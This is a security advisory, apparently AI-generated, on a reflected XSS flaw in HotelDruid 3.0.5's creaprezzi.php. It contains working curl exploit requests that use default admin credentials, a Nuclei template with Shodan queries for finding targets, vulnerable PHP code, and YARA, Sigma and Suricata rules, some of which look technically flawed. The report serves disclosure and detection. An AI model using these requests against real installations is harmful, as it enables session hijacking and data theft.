CVE-2023-34537

Executive Summary

CVE-2023-34537 is a reflected Cross-Site Scripting (XSS) vulnerability discovered in HotelDruid version 3.0.5. An authenticated attacker can inject malicious scripts into the tipotariffa parameter of the /creaprezzi.php endpoint, leading to script execution in the victim's browser. This can result in data theft, session hijacking, or defacement. The vulnerability has a CVSS v3.1 score of 5.4 (Medium) and a public proof-of-concept (PoC) is available via a Nuclei template. No official patch has been released as of this report.

Supply Chain & Package Security

HotelDruid is a PHP-based web application distributed as a standalone package. There is no NPM, PyPI, Go, or Ruby component involved. The vulnerability exists in the core application code, not in a third-party library. Users should verify the integrity of their HotelDruid installation and monitor for official updates from the vendor.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – attacker needs valid credentials
• User Interaction: Required (UI:R) – victim must click a crafted link or submit a form
• Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
• Confidentiality Impact: Low (C:L) – limited data exposure
• Integrity Impact: Low (I:L) – limited modification of data
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires authentication and user interaction, but the impact includes session hijacking and data exfiltration.

Deep Dive & Mechanics

The vulnerability resides in the tipotariffa parameter of the /creaprezzi.php page. The application fails to sanitize user input before reflecting it in the HTML response. An attacker can inject arbitrary JavaScript by encoding payloads in the parameter value.

Root Cause: Lack of output encoding or input validation on the tipotariffa parameter. The application directly echoes the parameter value into the page without proper escaping.

Attack Flow:

1. Attacker authenticates to HotelDruid (requires valid credentials).
2. Attacker crafts a malicious POST request to /creaprezzi.php with a payload in the tipotariffa parameter (e.g., "><script>alert(document.domain)</script>).
3. The server reflects the payload in the response, executing the script in the context of the victim's browser.
4. The attacker can then steal cookies, session tokens, or perform actions on behalf of the victim.

Affected Component: /creaprezzi.php – price creation functionality.

Vulnerable vs. Patched Code

Vulnerable Code (HotelDruid 3.0.5):

// No sanitization or encoding of $tipotariffa
echo "<input type='text' name='tipotariffa' value='" . $_POST['tipotariffa'] . "'>";

Patched Code (Hypothetical):

// Properly encode output
echo "<input type='text' name='tipotariffa' value='" . htmlspecialchars($_POST['tipotariffa'], ENT_QUOTES, 'UTF-8') . "'>";

Note: No official patch has been released. The above is a recommended fix.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid HotelDruid credentials (e.g., admin:admin)
• Network access to the HotelDruid instance

Exploit Steps:

1. Authenticate to /inizio.php with valid credentials.
2. Send a crafted POST request to /creaprezzi.php with the XSS payload in the tipotariffa parameter.

Example using cURL:

# Step 1: Authenticate and get session cookie
curl -c cookies.txt -X POST "http://target/inizio.php" \
  -d "vers_hinc=1&nome_utente_phpr=admin&password_phpr=admin"

# Step 2: Exploit XSS
curl -b cookies.txt -X POST "http://target/creaprezzi.php" \
  -d "anno=2023&id_sessione=&tipotariffa=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E&inizioperiodosett1=2023-12-24&fineperiodosett1=2023-12-31&tipo_prezzo=sett&prezzosett=&prezzosettp=&prezzoperiodo1=&prezzoperiodo1p=&prezzoperiodo2=&prezzoperiodo2p=&prezzoperiodo3=&prezzoperiodo3p=&prezzoperiodo4=&prezzoperiodo4p=&prezzoperiodo5=&prezzoperiodo5p=&prezzoperiodo6=&prezzoperiodo6p=&prezzoperiodo7=&prezzoperiodo7p=&inserisci_settimanalmente=1"

Expected Result: The response contains the injected script, which executes in the browser.

Blue Team

Detection:

• Monitor HTTP POST requests to /creaprezzi.php with suspicious tipotariffa parameters containing <script> tags or encoded JavaScript.
• Look for anomalous session activity after price creation.

Mitigation:

• Implement input validation and output encoding for all user-supplied parameters.
• Use Content Security Policy (CSP) headers to restrict script execution.
• Apply Web Application Firewall (WAF) rules to block XSS payloads.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /creaprezzi.php with tipotariffa containing <script> or %3Cscript%3E
  • HTTP responses containing alert(document.domain) or similar JavaScript
• File IOCs:
  • Modified /creaprezzi.php file (if attacker uploads malicious version)
• Log IOCs:
  • Web server logs showing repeated POST requests to /creaprezzi.php with encoded payloads
  • Authentication logs showing multiple failed login attempts (if brute-forcing credentials)

Detection Engineering

YARA Rule

rule CVE_2023_34537_XSS_HotelDruid {
    meta:
        description = "Detects XSS payloads targeting HotelDruid 3.0.5"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-34537"
    strings:
        $xss1 = /tipotariffa=.*%3Cscript%3E/i
        $xss2 = /tipotariffa=.*<script>/i
        $xss3 = /alert\(document\.domain\)/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2023-34537 - Reflected XSS in HotelDruid 3.0.5
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects reflected XSS attempts against HotelDruid 3.0.5 via the tipotariffa parameter
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-34537
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/creaprezzi.php'
        cs-uri-query|contains|all:
            - 'tipotariffa='
            - '<script>'
    condition: selection
falsepositives:
    - Legitimate use of script tags in price names (unlikely)
level: medium
tags:
    - attack.t1190
    - cve.2023.34537

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2023-34537 - Reflected XSS in HotelDruid 3.0.5";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/creaprezzi.php"; http_uri;
    content:"tipotariffa="; http_client_body;
    pcre:"/tipotariffa=[^&]*<script>/i";
    reference:url,nvd.nist.gov/vuln/detail/CVE-2023-34537;
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Nuclei Template (Provided)

id: CVE-2023-34537

info:
  name: Hoteldruid 3.0.5 - Cross-Site Scripting
  author: Harsh
  severity: medium
  description: |
    A Reflected XSS was discovered in HotelDruid version 3.0.5, an attacker can issue malicious code/command on affected webpage's parameter to trick user on browser and/or exfiltrate data.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/leekenghwa/CVE-2023-34537---XSS-reflected--found-in-HotelDruid-3.0.5
    - https://nvd.nist.gov/vuln/detail/CVE-2023-34537
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-34537
    cwe-id: CWE-79
    epss-score: 0.15829
    epss-percentile: 0.94763
    cpe: cpe:2.3:a:digitaldruid:hoteldruid:3.0.5:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: digitaldruid
    product: hoteldruid
    shodan-query:
      - http.title:"hoteldruid"
      - http.favicon.hash:-1521640213
    fofa-query:
      - title="hoteldruid"
      - icon_hash=-1521640213
    google-query: intitle:"hoteldruid"
  tags: cve2023,cve,hoteldrui,xss,authenticated,digitaldruid,vuln

http:
  - raw:
      - |
        POST /inizio.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        vers_hinc=1&nome_utente_phpr={{username}}&password_phpr={{password}}
      - |
        POST /creaprezzi.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        anno=2023&id_sessione=&tipotariffa=a19yc%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3emjf9oc2183m&inizioperiodosett1=2023-12-24&fineperiodosett1=2023-12-31&tipo_prezzo=sett&prezzosett=&prezzosettp=&prezzoperiodo1=&prezzoperiodo1p=&prezzoperiodo2=&prezzoperiodo2p=&prezzoperiodo3=&prezzoperiodo3p=&prezzoperiodo4=&prezzoperiodo4p=&prezzoperiodo5=&prezzoperiodo5p=&prezzoperiodo6=&prezzoperiodo6p=&prezzoperiodo7=&prezzoperiodo7p=&inserisci_settimanalmente=1

    skip-variables-check: true
    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "<script>alert(document.domain)</script>")'
          - 'contains(body_2, "HotelDruid")'
        condition: and
# digest: 4a0a00473045022100bb8b5d4f64a6c05c7a90e32d47f3bebf2975e6907e73b7c6296666140c3d71bf02203d3f33be5ce46650aa6202d0f1a643c0f23326e216045cbf6bd176fabf2c655b:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Check for official updates from HotelDruid. If unavailable, apply the hypothetical patch by adding htmlspecialchars() to the tipotariffa parameter output.
2. WAF Rules: Deploy WAF rules to block requests containing <script> in the tipotariffa parameter.
3. CSP Headers: Add Content Security Policy headers to restrict script execution to trusted sources only.
4. Input Validation: Implement strict input validation on all user-supplied parameters, especially those reflected in responses.

Long-Term Recommendations:

• Conduct a full security audit of HotelDruid for similar XSS vulnerabilities.
• Implement a secure coding policy that mandates output encoding for all dynamic content.
• Use automated scanning tools (e.g., Nuclei, OWASP ZAP) to regularly test for XSS.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact Secure Channels (Signal / Portal).

{/* [Security Hash: CF76F7CFBC2C41C8BA0C3268] */}